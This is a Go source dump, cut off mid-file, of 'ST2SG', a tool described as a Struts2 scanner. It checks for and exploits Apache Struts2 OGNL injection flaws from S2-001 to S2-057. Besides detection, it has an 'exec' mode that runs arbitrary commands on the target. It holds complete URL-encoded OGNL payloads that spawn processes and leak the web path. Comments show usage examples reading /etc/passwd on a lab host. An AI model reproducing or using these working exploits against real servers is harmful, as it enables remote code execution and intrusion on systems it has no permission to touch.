"ST2G/cvemod/utils" 19 | "fmt" 20 | "github.com/urfave/cli/v2" 21 | "log" 22 | "os" 23 | ) 24 | 25 | func main() { 26 | var mode string 27 | var url string 28 | var cmd string 29 | var vn int 30 | var data string 31 | app := &cli.App{ 32 | Name:"ST2SG", 33 | Usage:"Struts2 Scanner Written in Golang", 34 | UsageText:"" + 35 | "ST2SG --url http://xxxxxxx.com/test.action --vn 15 --mode scan ", 36 | Authors: []*cli.Author{ 37 | &cli.Author{ 38 | Name: "x51", 39 | Email: "", 40 | }, 41 | }, 42 | Flags: []cli.Flag { 43 | &cli.StringFlag{ 44 | Name: "mode", 45 | Usage: "Specify work mode", 46 | Destination: &mode, 47 | }, 48 | &cli.IntFlag{ 49 | //指定漏洞编号 50 | Name: "vn", 51 | Usage: "Vulnerability number", 52 | Value: 000, 53 | Destination: &vn, 54 | }, 55 | &cli.StringFlag{ 56 | Name: "url", 57 | Usage: "Set target url", 58 | Destination: &url, 59 | }, 60 | &cli.StringFlag{ 61 | Name: "cmd", 62 | Usage: "Exec command(Only works on mode exec.)", 63 | Destination: &cmd, 64 | }, 65 | &cli.StringFlag{ 66 | Name: "data", 67 | Usage: "Specific vulnerability packets", 68 | Destination: &data, 69 | }, 70 | 71 | }, 72 | 73 | Action: func(c *cli.Context) error { 74 | if mode == "scan" { 75 | if url == ""{ 76 | log.Fatalln("url未指定") 77 | } 78 | switch vn { 79 | case 1: 80 | if data !=""{ 81 | s001.Check(url,data) 82 | }else { 83 | fmt.Println("s001须指定POST数据包内容,并用标记出测试点,如: --data \"user=a&pass=fuckit\"") 84 | } 85 | case 5: 86 | s005.Check(url) 87 | case 7: 88 | if data !=""{ 89 | s007.Check(url,data) 90 | }else { 91 | fmt.Println("s007需指定POST数据包内容,并用标记出测试点,如: --data \"user=a&pass=fuckit\"") 92 | } 93 | case 8: 94 | s008.Check(url) 95 | case 9: 96 | if data !=""{ 97 | s009.Check(url,data) 98 | }else { 99 | fmt.Println("s009需指定要测试的GET参数,如: --data=\"name\"") 100 | } 101 | case 12: 102 | if data !=""{ 103 | s012.Check(url,data) 104 | }else { 105 | fmt.Println("s012需手动指定POST数据包内容,并用标记出测试点,如: --data \"user=a&pass=fuckit\"") 106 | } 107 | case 13: 108 | s013.Check(url) 109 | case 15: 110 | s015.Check(url) 111 | case 16: 112 | s016.Check(url) 113 | case 45: 114 | s045.Check(url) 115 | case 46: 116 | s046.Check(url) 117 | case 48: 118 | if data !=""{ 119 | s048.Check(url,data) 120 | }else { 121 | fmt.Println("s048需手动指定POST数据包内容,并用标记出测试点,如: --data \"user=a&pass=fuckit\"") 122 | } 123 | case 53: 124 | if data !=""{ 125 | s053.Check(url,data) 126 | }else { 127 | fmt.Println("s053需手动指定POST数据包内容,并用标记出测试点,如: --data \"user=a&pass=fuckit\"") 128 | } 129 | case 57: 130 | s057.Check(url) 131 | case 000: 132 | fmt.Println("未指定漏洞编号,默认全检测") 133 | s001.Check(url,data) 134 | s005.Check(url) 135 | s007.Check(url,data) 136 | s008.Check(url) 137 | s009.Check(url,data) 138 | s012.Check(url,data) 139 | s013.Check(url) 140 | s015.Check(url) 141 | s016.Check(url) 142 | s045.Check(url) 143 | s046.Check(url) 144 | s048.Check(url,data) 145 | s053.Check(url,data) 146 | s057.Check(url) 147 | default: 148 | fmt.Println("漏洞编号设置错误,目前支持检测:") 149 | for _,vnn := range utils.Vnlist{ 150 | fmt.Println(vnn) 151 | } 152 | } 153 | } else if mode=="exec" && cmd != ""{ 154 | if url == ""{ 155 | log.Fatalln("url未指定") 156 | } 157 | switch vn { 158 | case 1: 159 | if data !=""{ 160 | s001.ExecCommand(url,cmd,data) 161 | }else { 162 | fmt.Println("s001需手动指定POST数据包内容,并用fuckit标记出测试点,如: --data=\"user=a&pass=fuckit\"") 163 | } 164 | case 5: 165 | s005.ExecCommand(url,cmd) 166 | case 7: 167 | if data !=""{ 168 | s007.ExecCommand(url,cmd,data) 169 | }else { 170 | fmt.Println("s007需手动指定POST数据包内容,并用fuckit标记出测试点,如: --data=\"user=a&pass=fuckit\"") 171 | } 172 | case 8: 173 | s008.ExecCommand(url,cmd) 174 | case 9: 175 | s009.ExecCommand(url,cmd,data) 176 | case 12: 177 | if data!=""{ 178 | s012.ExecCommand(url,cmd,data) 179 | }else { 180 | fmt.Println("s012需手动指定POST数据包内容,并用标记出测试点,如: --data=\"user=a&pass=fuckit\"") 181 | } 182 | case 13: 183 | s013.ExecCommand(url,cmd) 184 | case 15: 185 | s015.ExecCommand(url,cmd) 186 | case 16: 187 | s016.ExecCommand(url,cmd) 188 | case 45: 189 | s045.ExecCommand(url,cmd) 190 | case 46: 191 | s046.ExecCommand(url,cmd) 192 | case 48: 193 | if data!=""{ 194 | s048.ExecCommand(url,cmd,data) 195 | }else { 196 | fmt.Println("s048需手动指定POST数据包内容,并用标记出测试点,如: --data=\"user=a&pass=fuckit\"") 197 | } 198 | case 53: 199 | if data !=""{ 200 | s053.ExecCommand(url,cmd,data) 201 | }else { 202 | fmt.Println("s053需手动指定POST数据包内容,并用标记出测试点,如: --data=\"user=a&pass=fuckit\"") 203 | } 204 | case 57: 205 | s057.ExecCommand(url,cmd) 206 | case 000: 207 | log.Fatalf("命令执行模式必须指定漏洞编号") 208 | default: 209 | log.Fatalf("命令执行模式必须指定漏洞编号") 210 | } 211 | }else { 212 | fmt.Println("参数错误") 213 | } 214 | return nil 215 | }, 216 | } 217 | 218 | err := app.Run(os.Args) 219 | if err != nil { 220 | log.Fatal(err) 221 | } 222 | } 223 | -------------------------------------------------------------------------------- /cvemod/s001/s2-001.go: -------------------------------------------------------------------------------- 1 | package s001 2 | 3 | import ( 4 | "ST2G/cvemod/utils" 5 | "fmt" 6 | "github.com/fatih/color" 7 | "net/url" 8 | "strings" 9 | ) 10 | func Check(targetUrl string,postData string) { 11 | respStrings := utils.PostFunc4Struts2(targetUrl,postData,"",utils.POC_s001_check) 12 | if utils.IfContainsStr(respStrings,"6308"){ 13 | color.Red("*Found Struts2-001!") 14 | }else { 15 | fmt.Println("Struts2-001 Not Vulnerable.") 16 | } 17 | } 18 | func GetWebPath(targetUrl string,postData string){ 19 | respStrings := utils.PostFunc4Struts2(targetUrl,postData,"",utils.POC_s001_webpath) 20 | webpath := utils.GetBetweenStr(respStrings,"s001webpathstart","s001webpathend")[16:] 21 | color.Green(webpath) 22 | } 23 | func ExecCommand(targeturl string,command string,postData string){ 24 | respStrings := utils.PostFunc4Struts2(targeturl,postData,"",utils.POC_s001_exec(command)) 25 | //下面步骤清洗数据,主要是去掉空字符,输出块大小可以在poc中调节 26 | respStrings = strings.Replace(url.QueryEscape(respStrings),"%00","",-1) 27 | execResult := utils.GetBetweenStr(respStrings,"s001execstart","s001execend") 28 | fmt.Println(url.QueryUnescape(execResult)) 29 | } -------------------------------------------------------------------------------- /cvemod/s005/s2-005.go: -------------------------------------------------------------------------------- 1 | package s005 2 | 3 | import ( 4 | "ST2G/cvemod/utils" 5 | "fmt" 6 | "github.com/fatih/color" 7 | "log" 8 | "net/url" 9 | "strings" 10 | ) 11 | 12 | func Check(targetUrl string){ 13 | respString := utils.GetFunc4Struts2(targetUrl,"",utils.POC_s005_check) 14 | if utils.IfContainsStr(respString,utils.Checkflag){ 15 | color.Red("*Found Struts2-005!") 16 | }else { 17 | fmt.Println("Struts2-005 Not Vulnerable.") 18 | } 19 | } 20 | func GetWebPath(targetUrl string){ 21 | respString := utils.GetFunc4Struts2(targetUrl,"",utils.POC_s005_webpath) 22 | log.Println(respString) 23 | } 24 | 25 | func ExecCommand(targetUrl string,command string){ 26 | respString := utils.GetFunc4Struts2(targetUrl,"",utils.POC_s005_exec(command)) 27 | tmpResult := strings.Replace(url.QueryEscape(respString),"%00","",-1) 28 | fmt.Println(url.QueryUnescape(tmpResult)) 29 | } -------------------------------------------------------------------------------- /cvemod/s007/s2-007.go: -------------------------------------------------------------------------------- 1 | package s007 2 | 3 | import ( 4 | "ST2G/cvemod/utils" 5 | "fmt" 6 | "github.com/fatih/color" 7 | ) 8 | 9 | func Check(targeturl string,postData string) { 10 | respString := utils.PostFunc4Struts2(targeturl,postData,"",utils.POC_s007_check) 11 | if utils.IfContainsStr(respString,"6308"){ 12 | color.Red("*Found Struts2-007!") 13 | }else { 14 | fmt.Println("Struts2-007 Not Vulnerable.") 15 | } 16 | 17 | } 18 | func ExecCommand(targeturl string,command string,postData string){ 19 | respString := utils.PostFunc4Struts2(targeturl,postData,"",utils.POC_s007_exec(command)) 20 | cmdout := utils.GetBetweenStr(respString,"s007execstart","s007execend")[13:] 21 | fmt.Println(cmdout) 22 | } 23 | -------------------------------------------------------------------------------- /cvemod/s008/s2-008.go: -------------------------------------------------------------------------------- 1 | package s008 2 | 3 | import ( 4 | "ST2G/cvemod/utils" 5 | "fmt" 6 | "github.com/fatih/color" 7 | ) 8 | 9 | func Check(targetUrl string){ 10 | respString := utils.GetFunc4Struts2(targetUrl,"",utils.POC_s008_check) 11 | if utils.IfContainsStr(respString,utils.Checkflag){ 12 | color.Red("*Found Struts2-008!") 13 | }else { 14 | fmt.Println("Struts2-008 Not Vulnerable.") 15 | } 16 | } 17 | func ExecCommand(targetUrl string,command string) { 18 | respString := utils.GetFunc4Struts2(targetUrl,"",utils.POC_s008_exec(command)) 19 | fmt.Println(respString) 20 | } -------------------------------------------------------------------------------- /cvemod/s009/s2-009.go: -------------------------------------------------------------------------------- 1 | package s009 2 | 3 | import ( 4 | "ST2G/cvemod/utils" 5 | "fmt" 6 | "github.com/fatih/color" 7 | "net/url" 8 | "strings" 9 | ) 10 | /* 11 | s2-009检测方式: 12 | 指定get参数名 13 | 在模块这儿一次梳理好payload。 14 | ST2SG.exe --url http://192.168.123.128:8080/S2-009/ajax/example5.action --mode exec --vn 9 --data "name" --cmd "cat /etc/passwd" 15 | */ 16 | 17 | func Check(targetUrl string,getParam string){ 18 | targetUrl = targetUrl+ utils.POC_s009_exec(getParam,"echo%20"+utils.Checkflag) 19 | respString := utils.GetFunc4Struts2(targetUrl,"","") 20 | if utils.IfContainsStr(respString,utils.Checkflag){ 21 | color.Red("*Found Struts2-009!") 22 | }else { 23 | fmt.Println("Struts2-009 Not Vulnerable.") 24 | } 25 | } 26 | func ExecCommand(targetUrl string,command string,getParam string){ 27 | targetUrl = targetUrl+ utils.POC_s009_exec(getParam,url.QueryEscape(command)) 28 | respString := utils.GetFunc4Struts2(targetUrl,"","") 29 | respString = strings.Replace(url.QueryEscape(respString),"%00","",-1) 30 | fmt.Println(url.QueryUnescape(respString)) 31 | } -------------------------------------------------------------------------------- /cvemod/s012/s2-012.go: -------------------------------------------------------------------------------- 1 | package s012 2 | 3 | import ( 4 | "ST2G/cvemod/utils" 5 | "fmt" 6 | "github.com/fatih/color" 7 | "net/url" 8 | "strings" 9 | ) 10 | /* 11 | ST2SG.exe --url http://192.168.123.128:8080/S2-012/user.action --vn 12 --mode exec --data "name=fuckit" --cmd "cat /etc/passwd" 12 | */ 13 | 14 | func Check(targetUrl string,postData string) { 15 | respString := utils.PostFunc4Struts2(targetUrl,postData,"",utils.POC_s012_check) 16 | if utils.IfContainsStr(respString,utils.Checkflag){ 17 | color.Red("*Found Struts2-012!") 18 | }else { 19 | fmt.Println("Struts2-012 Not Vulnerable.") 20 | } 21 | } 22 | func ExecCommand(targetUrl string,command string,postData string){ 23 | respString := utils.PostFunc4Struts2(targetUrl,postData,"",utils.POC_s012_exec(command)) 24 | respString = strings.Replace(url.QueryEscape(respString),"%00","",-1) 25 | fmt.Println(url.QueryUnescape(respString[13:])) 26 | } -------------------------------------------------------------------------------- /cvemod/s013/s2-013.go: -------------------------------------------------------------------------------- 1 | package s013 2 | 3 | import ( 4 | "ST2G/cvemod/utils" 5 | "fmt" 6 | "github.com/fatih/color" 7 | "net/url" 8 | "strings" 9 | ) 10 | 11 | 12 | func Check(targetUrl string){ 13 | respString := utils.GetFunc4Struts2(targetUrl,"",utils.POC_s013_check) 14 | if utils.IfContainsStr(respString,"6308"){ 15 | color.Red("*Found Struts2-013!") 16 | }else { 17 | fmt.Println("Struts2-013 Not Vulnerable.") 18 | } 19 | } 20 | func ExecCommand(targetUrl string,command string) { 21 | respString := utils.GetFunc4Struts2(targetUrl,"",utils.POC_s013_exec(command)) 22 | respString = strings.Replace(url.QueryEscape(respString),"%00","",-1) 23 | fmt.Println(url.QueryUnescape(respString)) 24 | } -------------------------------------------------------------------------------- /cvemod/s015/s2-015.go: -------------------------------------------------------------------------------- 1 | package s015 2 | 3 | import ( 4 | "ST2G/cvemod/utils" 5 | "fmt" 6 | "github.com/fatih/color" 7 | ) 8 | 9 | func Check(targetUrl string){ 10 | respString := utils.GetFunc4Struts2(targetUrl,"",utils.POC_s015_check) 11 | if utils.IfContainsStr(respString,"6308") { 12 | color.Red("*Found Struts2-015!") 13 | }else { 14 | fmt.Println("Struts2-015 Not Vulnerable.") 15 | } 16 | } 17 | func ExecCommand(targetUrl string,command string) { 18 | respString := utils.GetFunc4Struts2(targetUrl,"",utils.POC_s015_exec(command)) 19 | execResult := utils.GetBetweenStr(respString,"s015execstart","s015execend") 20 | fmt.Println(execResult[13:]) 21 | } -------------------------------------------------------------------------------- /cvemod/s016/s2-016.go: -------------------------------------------------------------------------------- 1 | package s016 2 | 3 | import ( 4 | "ST2G/cvemod/utils" 5 | "fmt" 6 | "github.com/fatih/color" 7 | ) 8 | 9 | /* 10 | ST2SG.exe --url http://192.168.123.128:8080/S2-016/default.action --vn 16 --mode exec --cmd "cat /etc/passwd" 11 | */ 12 | func Check(targetUrl string){ 13 | //s016的目的url必须带action,比如:http://xxx.com/xxx.action 14 | //respString := utils.GetFunc4Struts2(targetUrl,"",utils.POC_s016_check) 15 | headerLocation := utils.Get302Location(targetUrl+utils.POC_s016_check) 16 | //fmt.Println(headerLocation) 17 | if utils.IfContainsStr(headerLocation,"6308") { 18 | color.Red("*Found Struts2-016!") 19 | }else { 20 | fmt.Println("Struts2-016 Not Vulnerable.") 21 | } 22 | } 23 | func GetWebPath(targeturl string){ 24 | webpath := utils.GetFunc4Struts2(targeturl,"",utils.POC_s016_webpath) 25 | color.Green(webpath) 26 | } 27 | func ExecCommand(targetUrl string,command string) { 28 | respString := utils.GetFunc4Struts2(targetUrl,"",utils.POC_s016_exec(command)) 29 | fmt.Println(respString) 30 | } -------------------------------------------------------------------------------- /cvemod/s045/s2-045.go: -------------------------------------------------------------------------------- 1 | package s045 2 | 3 | import ( 4 | "ST2G/cvemod/utils" 5 | "fmt" 6 | "github.com/fatih/color" 7 | ) 8 | /* 9 | ST2SG.exe --url http://192.168.123.128:8080/S2-045/orders --vn 45 --mode exec --cmd "cat /etc/passwd" 10 | */ 11 | func Check(targetUrl string) { 12 | respString := utils.PostFunc4Struts2(targetUrl,"","qwer",utils.POC_s045_check) 13 | if utils.IfContainsStr(respString,utils.Checkflag){ 14 | color.Red("*Found Struts2-045!") 15 | }else { 16 | fmt.Println("Struts2-045 Not Vulnerable.") 17 | } 18 | } 19 | func GetWebpath(targetUrl string){ 20 | webpath := utils.PostFunc4Struts2(targetUrl,"","qwer",utils.POC_s045_webpath) 21 | color.Green(webpath) 22 | 23 | } 24 | func ExecCommand(targetUrl string,command string) { 25 | respString := utils.PostFunc4Struts2(targetUrl,"","qwer",utils.POC_s045_exec(command)) 26 | fmt.Println(respString) 27 | } 28 | 29 | 30 | -------------------------------------------------------------------------------- /cvemod/s046/s2-046.go: -------------------------------------------------------------------------------- 1 | package s046 2 | 3 | import ( 4 | "ST2G/cvemod/utils" 5 | "bytes" 6 | "fmt" 7 | "github.com/fatih/color" 8 | "io/ioutil" 9 | "mime/multipart" 10 | "net/http" 11 | "strings" 12 | ) 13 | 14 | /* 15 | ST2SG.exe --url http://192.168.123.128:8080/S2-046/doUpload.action --vn 46 --mode exec --cmd "cat /etc/passwd" 16 | */ 17 | func Check(url string) { 18 | body := &bytes.Buffer{} 19 | writer := multipart.NewWriter(body) 20 | _, err := writer.CreateFormFile("foo", utils.POC_s046_check) 21 | if err != nil {} 22 | _ = writer.WriteField("", "") 23 | writer.Close() 24 | r, _ := http.NewRequest("POST", url, body) 25 | r.Header.Set("Content-Type", writer.FormDataContentType()) 26 | client := &http.Client{} 27 | response, _ := client.Do(r) 28 | defer response.Body.Close() 29 | content, _ := ioutil.ReadAll(response.Body) 30 | respBody := string(content) 31 | isVulable := strings.Contains(respBody, utils.Checkflag) 32 | if isVulable { 33 | color.Red("*Found Struts2-046!") 34 | } else { 35 | fmt.Println("Struts2-046 Not Vulnerable.") 36 | } 37 | } 38 | func ExecCommand(url string, command string) { 39 | body := &bytes.Buffer{} 40 | writer := multipart.NewWriter(body) 41 | _, err := writer.CreateFormFile("foo", utils.POC_s046_exec(command)) 42 | if err != nil {} 43 | _ = writer.WriteField("", "") 44 | writer.Close() 45 | r, _ := http.NewRequest("POST", url, body) 46 | r.Header.Set("Content-Type", writer.FormDataContentType()) 47 | client := &http.Client{} 48 | response, _ := client.Do(r) 49 | defer response.Body.Close() 50 | content, _ := ioutil.ReadAll(response.Body) 51 | respBody := string(content) 52 | fmt.Println(respBody) 53 | } 54 | 55 | func GetWebpath(url string) { 56 | body := &bytes.Buffer{} 57 | writer := multipart.NewWriter(body) 58 | _, err := writer.CreateFormFile("foo", utils.POC_s046_webpath) 59 | if err != nil {} 60 | _ = writer.WriteField("", "") 61 | writer.Close() 62 | r, _ := http.NewRequest("POST", url, body) 63 | r.Header.Set("Content-Type", writer.FormDataContentType()) 64 | client := &http.Client{} 65 | response, _ := client.Do(r) 66 | defer response.Body.Close() 67 | content, _ := ioutil.ReadAll(response.Body) 68 | respBody := string(content) 69 | fmt.Println(respBody) 70 | } 71 | -------------------------------------------------------------------------------- /cvemod/s048/s2-048.go: -------------------------------------------------------------------------------- 1 | package s048 2 | 3 | import ( 4 | "ST2G/cvemod/utils" 5 | "fmt" 6 | "github.com/fatih/color" 7 | "net/url" 8 | "strings" 9 | ) 10 | 11 | /* 12 | ST2SG.exe --url http://192.168.123.128:8080/S2-048/integration/saveGangster.action --vn 48 --mode exec --cmd "cat /etc/passwd" --data "name=fuckit&age=aaa&__checkbox_bustedBefore=true&description=aaa" 13 | */ 14 | func Check(targetUrl string,postData string) { 15 | respString := utils.PostFunc4Struts2(targetUrl,postData,"",utils.POC_s048_check) 16 | if utils.IfContainsStr(respString,"6308"){ 17 | color.Red("*Found Struts2-048!") 18 | }else { 19 | fmt.Println("Struts2-048 Not Vulnerable.") 20 | } 21 | } 22 | 23 | func ExecCommand(targetUrl string,command string,postData string){ 24 | respString := utils.PostFunc4Struts2(targetUrl,postData,"",utils.POC_s048_exec(command)) 25 | respString = strings.Replace(url.QueryEscape(respString),"%00","",-1) 26 | execResult := utils.GetBetweenStr(respString,"s048execstart","s048execend") 27 | fmt.Println(url.QueryUnescape(execResult)) 28 | } -------------------------------------------------------------------------------- /cvemod/s053/s2-053.go: -------------------------------------------------------------------------------- 1 | package s053 2 | 3 | import ( 4 | "ST2G/cvemod/utils" 5 | "fmt" 6 | "github.com/fatih/color" 7 | "net/url" 8 | ) 9 | /* 10 | ST2SG.exe --url http://192.168.123.128:8080/S2-053/ --vn 53 --data "name=fuckit" --mode exec --cmd "cat /etc/passwd" 11 | */ 12 | 13 | func Check(targetUrl string,postData string) { 14 | respString := utils.PostFunc4Struts2(targetUrl,postData,"",utils.POC_s053_check) 15 | if utils.IfContainsStr(respString,"6308"){ 16 | color.Red("*Found Struts2-053!") 17 | }else { 18 | fmt.Println("Struts2-053 Not Vulnerable.") 19 | } 20 | 21 | } 22 | func ExecCommand(targetUrl string,command string,postData string){ 23 | respString := utils.PostFunc4Struts2(targetUrl,postData,"",utils.POC_s053_exec(command)) 24 | execResult := utils.GetBetweenStr(respString,"s053execstart","s053execend") 25 | fmt.Println(url.QueryUnescape(execResult)) 26 | } -------------------------------------------------------------------------------- /cvemod/s057/s2-057.go: -------------------------------------------------------------------------------- 1 | package s057 2 | 3 | import ( 4 | "ST2G/cvemod/utils" 5 | "fmt" 6 | "github.com/fatih/color" 7 | "strings" 8 | ) 9 | 10 | 11 | func Check(targetUrl string){ 12 | actionIndex := strings.LastIndexAny(targetUrl,"/") 13 | targetUrl =targetUrl[:actionIndex]+ utils.POC_s057_check+targetUrl[actionIndex:] 14 | //_ = utils.GetFunc4Struts2(targetUrl,"","") 15 | headerLocation := utils.Get302Location(targetUrl) 16 | if utils.IfContainsStr(headerLocation,"6308") { 17 | color.Red("*Found Struts2-057!") 18 | }else { 19 | fmt.Println("Struts2-057 Not Vulnerable.") 20 | } 21 | } 22 | func ExecCommand(targetUrl string,command string) { 23 | actionIndex := strings.LastIndexAny(targetUrl,"/") 24 | targetUrl =targetUrl[:actionIndex]+ utils.POC_s057_exec(command)+targetUrl[actionIndex:] 25 | respString := utils.GetFunc4Struts2(targetUrl,"","") 26 | fmt.Println(respString) 27 | } -------------------------------------------------------------------------------- /cvemod/utils/utils.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "crypto/md5" 5 | "fmt" 6 | "io" 7 | "io/ioutil" 8 | "log" 9 | "net/http" 10 | "net/url" 11 | "strings" 12 | "time" 13 | ) 14 | 15 | var ( 16 | Vnlist =[...]string{"struts2-001","struts2-005","struts2-007","struts2-008","struts2-009","struts2-012","struts2-013","struts2-015","struts2-016","struts2-045","struts2-046","struts2-048","struts2-053","struts2-057"} 17 | Checkflag=CreateHash("ST2SG") 18 | Timeout =time.Second * 3 19 | GlobalUserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" 20 | 21 | POC_s001_webpath = "%25%7b%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest()%2c%23response%3d%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2c%23response.println(%27s001webpathstart%27%2b%23req.getRealPath(%27%2f%27)%2b%27s001webpathend%27)%2c%23response.flush()%2c%23response.close()%7d" 22 | POC_s005_webpath = "?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43req%5C75@org.apache.struts2.ServletActionContext@getRequest%28%29%27%29%28d%29%29&%28i2%29%28%28%27%5C43xman%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28i97%29%28%28%27%5C43xman.getWriter%28%29.println%28%5C43req.getRealPath%28%22%5Cu005c%22%29%29%27%29%28d%29%29&%28i99%29%28%28%27%5C43xman.getWriter%28%29.close%28%29%27%29%28d%29%29" 23 | POC_s016_webpath = "?redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22/%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D" 24 | POC_s045_webpath = "%{(#fuck='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcldedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#outstr.println(#req.getRealPath(\"/\"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" 25 | POC_s046_webpath = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('web')).(#res.getWriter().print('path:')).(#res.getWriter().print(#req.getSession().getServletContext().getRealPath('/'))).(#res.getWriter().flush()).(#res.getWriter().close())}\x00b" 26 | 27 | 28 | 29 | POC_s001_check = "%25%7B3154%2B3154%7D" 30 | POC_s005_check = POC_s005_exec("echo%20"+Checkflag) 31 | POC_s007_check = "%27%2B%28%23%7B3154%2B3154%7D%29%2B%27" 32 | POC_s008_check = POC_s008_exec("echo%20"+Checkflag) 33 | POC_s009_check = POC_s009_exec("name","echo%20"+Checkflag) 34 | //POC_s012_check = "%25%7B3154%2B3154%7D" //表达式判断法,需要获取一下location 35 | POC_s012_check = POC_s012_exec("echo "+Checkflag) 36 | POC_s013_check = "?test=%24%7B3154%2b3154%7D" 37 | POC_s015_check = "/$%7B(3154+3154)%7D.action" 38 | POC_s016_check = "?redirect%3A%24%7B3154%2B3154%7D" //表达式判断需获取location 39 | //POC_s016_check = "?redirect:$%7b%23req%3d%23context.get%28%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27%29,%23resp%3d%23context.get%28%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27%29,%23resp.setCharacterEncoding%28%27UTF-8%27%29,%23resp.getWriter%28%29.print%28%22"+Checkflag+"%22%29,%23resp.getWriter%28%29.flush%28%29,%23resp.getWriter%28%29.close%28%29%7d" 40 | POC_s045_check = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('" + Checkflag + "')).(#res.getWriter().flush()).(#res.getWriter().close())}" 41 | POC_s046_check = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('" + Checkflag + "')).(#res.getWriter().flush()).(#res.getWriter().close())}\x00b" 42 | POC_s048_check = "%24%7B3154%2B3154%7D" 43 | POC_s053_check = "%25%7B3154%2B3154%7D%0D" 44 | //POC_s057_check = "/%24%7B3154%2b3154%7D" 45 | POC_s057_check = "/%24%7B3154%2B3154%7D" 46 | POC_s059_check = "%25%7B3154*3154%7D" 47 | ) 48 | func POC_s001_exec(command string) string{ 49 | return "%25%7b%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String%5b%5d%7b%22"+command+"%22%7d)).redirectErrorStream(true).start()%2c%23b%3d%23a.getInputStream()%2c%23c%3dnew+java.io.InputStreamReader(%23b)%2c%23d%3dnew+java.io.BufferedReader(%23c)%2c%23e%3dnew+char%5b100%5d%2c%23d.read(%23e)%2c%23f%3d%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2c%23f.getWriter().println(%22s001execstart%22)%2c%23f.getWriter().println(new+java.lang.String(%23e))%2c%23f.getWriter().println(%22s001execend%22)%2c%23f.getWriter().flush()%2c%23f.getWriter().close()%7d" 50 | } 51 | func POC_s005_exec(command string) string{ 52 | url.QueryEscape(command) 53 | return 